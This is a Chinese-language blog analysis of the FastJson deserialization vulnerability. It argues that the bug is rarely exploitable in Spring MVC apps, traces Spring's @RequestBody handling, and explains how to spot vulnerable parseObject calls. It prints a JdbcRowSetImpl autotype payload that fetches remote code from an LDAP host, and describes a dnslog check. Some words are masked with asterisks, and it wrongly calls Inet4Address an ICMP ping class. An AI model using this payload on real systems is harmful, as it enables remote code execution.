前言

在FastJson<=1.2.24漏洞公布时我还是一个开发，对于这个消息我震撼至极，那时的FastJson的热度可谓如日中天。但是，对FastJson漏洞复现过后突然心就被伤了，那些把FastJson漏洞吹的捧上神坛的人是否真的知道他的影响程度？

概述

本文将从漏洞运用所依赖的条件，怎么样发现此漏洞，漏洞产生的原理跟踪，以及评价这个漏洞四个维度去分析。

漏洞运用所依赖的条件

之所以先将这个模块是为了先泼大家一盆冷水，先降低大家人对FastJson漏洞的影响程度的认知。

众所周知

1.FastJson<=1.2.47是利用的先决条件

2.其二是

 *** ON.parseObject(text2);

但是，满足第二个条件的难度你真的知道嘛？

我们编辑的POC在前端与后端进行交互的包中，意味着在后端拿到请求参数时进行 *** ON.parseObject(参数)进行参数的json转换。下面上代码

只有满足这样的条件，也就是在后端拿到用户请求的参数时，将其使用FastJson提供的 *** ON.parseObject(参数)这个API进行json格式化的时候才会产生我们所说的反序列化漏洞。

那么达成这个漏洞到底难不难？

真的很难，甚至是不可能。

因为现在Java开发的框架是S *** (Spring+SpringMvc+Mybatis)，这一点不清楚的可以看我之前的文章了解。那么在访问层我们使用到的就是SpringMvc这个框架。做过开发的朋友都知道，SpringMVC提供了一个专门用于参数进行json格式化的注解叫做

@RequestBody

这个参数就是为了请求参数到达访问层时框架将其进行json格式化

所以实际的情况是这样的

相信很多朋友还会问，真的没有人采用之一种写法去写嘛？设问，采用框架的目的就在于方便快捷的开发，引入框架但是舍本逐末是为什么呢，如果开发中采用之一种写法肯定会被项目经理骂的，这一点无可厚非。

我说一个数据，市面上百分之95以上的Java程序员都不会之一种方式进行编写。

接下来我的想法是@RequestBody这个注解到底是怎么进行json格式化的

我追溯了整套它的解析流程，下面我只放上最核心的代码

@Override
    @Nullable
    public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler)
            throws Exception {
        return handleInternal(request, response, (HandlerMethod) handler);
    }

这里又调用了handleInternal() *** ，RequestMappingHandlerAdapter重写了该 *** :
进入该 *** ，

if (this.synchronizeOnSession) {
            HttpSession session=request.getSession(false);
            if (session !=null) {
                Object mutex=WebUtils.getSessionMutex(session);
                synchronized (mutex) {
                    mav=invokeHandlerMethod(request, response, handlerMethod);
                }
            }
            else {
                // No HttpSession available -> no mutex necessary
                mav=invokeHandlerMethod(request, response, handlerMethod);
            }
        }
        else {
            // No synchronization on session demanded at all...
            mav=invokeHandlerMethod(request, response, handlerMethod);
        }

可以看到最终调用的都是invokeHandlerMethod() *** ,此 *** 会处理@RequestMapping修饰的请求

protected ModelAndView invokeHandlerMethod(HttpServletRequest request,
            HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {

        ServletWebRequest webRequest=new ServletWebRequest(request, response);
        try {
            WebDataBinderFactory binderFactory=getDataBinderFactory(handlerMethod);
            ModelFactory modelFactory=getModelFactory(handlerMethod, binderFactory);

            ServletInvocableHandlerMethod invocableMethod=createInvocableHandlerMethod(handlerMethod);
            //注意,此处往ServletInvocableHandlerMethod中设置了一系列的参数解析器
            if (this.argumentResolvers !=null) {
                invocableMethod.setHandlerMethodArgumentResolvers(this.argumentResolvers);
            }
            if (this.returnValueHandlers !=null) {
                invocableMethod.setHandlerMethodReturnValueHandlers(this.returnValueHandlers);
            }
            invocableMethod.setDataBinderFactory(binderFactory);
            invocableMethod.setParameterNameDiscoverer(this.parameterNameDiscoverer);

            ModelAndViewContainer mavContainer=new ModelAndViewContainer();
            mavContainer.addAllAttributes(RequestContextUtils.getInputFlashMap(request));
            modelFactory.initModel(webRequest, mavContainer, invocableMethod);
            mavContainer.setIgnoreDefaultModelOnRedirect(this.ignoreDefaultModelOnRedirect);

            AsyncWebRequest asyncWebRequest=WebAsyncUtils.createAsyncWebRequest(request, response);
            asyncWebRequest.setTimeout(this.asyncRequestTimeout);

            WebAsyncManager asyncManager=WebAsyncUtils.getAsyncManager(request);
            asyncManager.setTaskExecutor(this.taskExecutor);
            asyncManager.setAsyncWebRequest(asyncWebRequest);
            asyncManager.registerCallableInterceptors(this.callableInterceptors);
            asyncManager.registerDeferredResultInterceptors(this.deferredResultInterceptors);

            if (asyncManager.hasConcurrentResult()) {
                Object result=asyncManager.getConcurrentResult();
                mavContainer=(ModelAndViewContainer) asyncManager.getConcurrentResultContext()[0];
                asyncManager.clearConcurrentResult();
                if (logger.isDebugEnabled()) {
                    logger.debug("Found concurrent result value [" + result + "]");
                }
                invocableMethod=invocableMethod.wrapConcurrentResult(result);
            }
            //具体请求处理 *** 
            invocableMethod.invokeAndHandle(webRequest, mavContainer);
            if (asyncManager.isConcurrentHandlingStarted()) {
                return null;
            }

            return getModelAndView(mavContainer, modelFactory, webRequest);
        }
        finally {
            webRequest.requestCompleted();
        }
    }

public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer,
            Object... providedArgs) throws Exception {

        Object returnValue=invokeForRequest(webRequest, mavContainer, providedArgs);
        setResponseStatus(webRequest);

        if (returnValue==null) {
            if (isRequestNotModified(webRequest) || getResponseStatus() !=null || mavContainer.isRequestHandled()) {
                mavContainer.setRequestHandled(true);
                return;
            }
        }
        else if (StringUtils.hasText(getResponseStatusReason())) {
            mavContainer.setRequestHandled(true);
            return;
        }

        mavContainer.setRequestHandled(false);
        Assert.state(this.returnValueHandlers !=null, "No return value handlers");
        try {
            this.returnValueHandlers.handleReturnValue(
                    returnValue, getReturnValueType(returnValue), mavContainer, webRequest);
        }
        catch (Exception ex) {
            if (logger.isTraceEnabled()) {
                logger.trace(getReturnValueHandlingErrorMessage("Error handling return value", returnValue), ex);
            }
            throw ex;
        }
    }

HttpMessageConverter是在RequestMappingHandlerAdapter中设置解析器的时候添加到每个解析器中的。而json格式的数据使用AbstractJackson2HttpMessageConverter进行解析，内部使用jackson进行json数据的解析。

小结：分析到这里的一瞬间我惊了，这个注解既然底层实际使用的是jsckson这个方式，意味着如果jackson爆出漏洞或将影响百分之90多的Java站点

怎么样发现此漏洞

从上文中我们得到的消息，再结合我之前的文章，其实发现这个漏洞很简单。

1.当我们拿到一个Java源码时，首先查阅Maven对方是否引用Fastjson包并且依赖的版本。

2.在访问层，也就是我之前所说的controller层

直接祭上我们的idea搜索大法确定包名为Controller并且其中存在 *** ON.parseObject() *** 的地方。

然后找到网上复现fastjson漏洞的 *** ，dnslog验证存在。

小结：maven确定版本<=1.2.47+Controller包下 使用快捷键Ctrl+Shift+R 搜索 *** ON.parseObject关键字快速发现

漏洞原理跟踪

网上的大佬们总结分析了很多原理的问题，这篇文章其实主要是讲产生场景的问题，但是作为一个分析FastJson的文章 我觉得这一环必不可少，我就挑重点去讲讲吧。

因为Fastjson提供了autotype这个东西，在进行json解析时会自动根据要解析的类名解析成要解析的实际对象，我们使用dnslog验证这个漏洞存在，仔细查看poc会发现

type类型指定为

java.net.Inet4Address

这个类就是java用来提供icmp服务类，也就是ping类

然后值为相应的要被ping的地址

redbtz.dnslog.cn

如果目标地址被ping说明服务解析成功

那造成远程代码执行的原因也同理

{
  "name": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "x": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://192.168.214.137:9999/Exploit",
    "autoCommit": true
  }
}

将服务解析成远程调用，从而造成了远程代码执行。

这部分我会在后续文章详细讲解java中的远程命令执行，也就是rmi

小结: 因为autotype的事情造成了漏洞形成的原因，所以在后续多次爆出fastjson高版本还能进行远程命令执行的多半实在autotype上下手，比如默认关闭了autotype，比如做了黑名单校验，比如后续的重点变为如何绕过黑名单。

评价这个漏洞

回归文章开头说的，这个漏洞被炒得如日中天，却很少有人能用这个漏洞造成rce，根本原因还是这个漏洞的利用条件与实际应用场景不符。这个漏洞的闹剧应该在我这篇文章给大家一个结果，与其说是fastjson的漏洞不如说是 *** ON.parseObject()与@RequestBody两个 *** 之间我们到底用了谁，答案很显而易见，当然是后者，我们引用框架的目的就是为了快捷开发，这点SpingMVC做的比fastjson好，开发者也不会舍本逐末。

完结：

在前面多个文章发出来也是我从开发转安全找工作的一个阶段，后续停更了很长时间，也是因为我的私人原因我深表歉意。感谢很多读者给我介绍了很多工作，我目前就职地就不说了，怕官方觉得我营销号不给我发奖金。在接下来的时间内我会一直持续更新，也希望读者关注我，关注我的专辑。

谢谢大家，下期见~